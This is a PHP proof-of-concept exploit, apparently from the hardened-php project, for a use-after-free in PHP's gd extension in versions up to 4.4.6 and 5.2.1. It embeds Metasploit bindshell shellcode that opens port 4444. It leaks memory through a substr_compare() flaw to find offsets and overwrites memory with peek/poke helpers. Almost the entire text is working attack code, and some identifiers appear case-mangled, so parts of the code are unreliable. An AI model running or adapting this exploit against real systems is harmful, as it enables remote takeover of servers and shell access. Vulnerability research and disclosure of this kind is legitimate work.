PHP <= 4.4.6 / 5.2.1 ext/gd Already Freed Resourc
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// proof of concept code from the hardened-php project //
// (c) copyright 2007 stefan esser //
// //
////////////////////////////////////////////////////////////////////////
// php gd already freed resource usage exploit //
////////////////////////////////////////////////////////////////////////
// this is meant as a protection against remote file inclusion.
die("remove this line");
// linux x86 bindshell on port 4444 from metasploit
$shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
"\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";
// offsets used for the overwrite (will be overwritten by findoffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;
findoffsets(); // comment out if you want to just test the crash
class dummyclass { }
function myerrorhandler()
{
imagedestroy($globals['img']);
// clipping
$globals['x'] = str_repeat(chr(0), 7311);
$globals['x'][7310] = chr(0x00);
$globals['x'][7309] = chr(0x01);
$globals['x'][7308] = chr(0x00);
$globals['x'][7307] = chr(0x7f);
$globals['x'][7306] = chr(0xff);
$globals['x'][7305] = chr(0xff);
$globals['x'][7304] = chr(0xff);
$globals['x'][7303] = chr(0);
$globals['x'][7302] = chr(0);
$globals['x'][7301] = chr(0);
$globals['x'][7300] = chr(0);
$globals['x'][7299] = chr(0x80);
$globals['x'][7298] = chr(0);
$globals['x'][7297] = chr(0);
$globals['x'][7296] = chr(0);
// true color image
$globals['x'][0x1c38] = chr(1);
// true color pixelmap (1st entry must be 0)
$globals['x'][0x1c3c] = chr(0x08);
$globals['x'][0x1c3d] = chr(0x80);
$globals['x'][0x1c3e] = chr(0x04);
$globals['x'][0x1c3f] = chr(0x08);
return true;
}
function poke($addr, $value)
{
$globals['img'] = imagecreate(1, 1);
imagesetpixel($globals['img'], $addr >> 2, new dummyclass(), $value);
}
function peek($addr)
{
$globals['img'] = imagecreate(1, 1);
return imagecolorat($globals['img'], $addr >> 2, new dummyclass());
}
printf("using offsets %08x and %08x\n", $offset_1, $offset_2);
error_reporting(e_all);
set_error_handler("myerrorhandler");
poke($offset_2, $offset_1);
unset($d);
// this function uses the substr_compare() vulnerability
// to get the offsets.
function findoffsets()
{
global $offset_1, $offset_2, $shellcode;
// we need to not clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;
$sizeofhashtable = 39;
$maxlong = 0x7fffffff;
// signature of a big endian hashtable of size 256 with 1 element
$search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00";
$memdump = str_repeat("a", 18192);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat("\x01", $sizeofhashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// if the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<18192; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$y == 1 || $y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$y != 1 && $y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}
// search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
if ($pos_shellcode == 0 || $pos_hashtable == 0) {
die ("unable to find offsets");
}
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack("l", $addr);
// fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4;
}
?>
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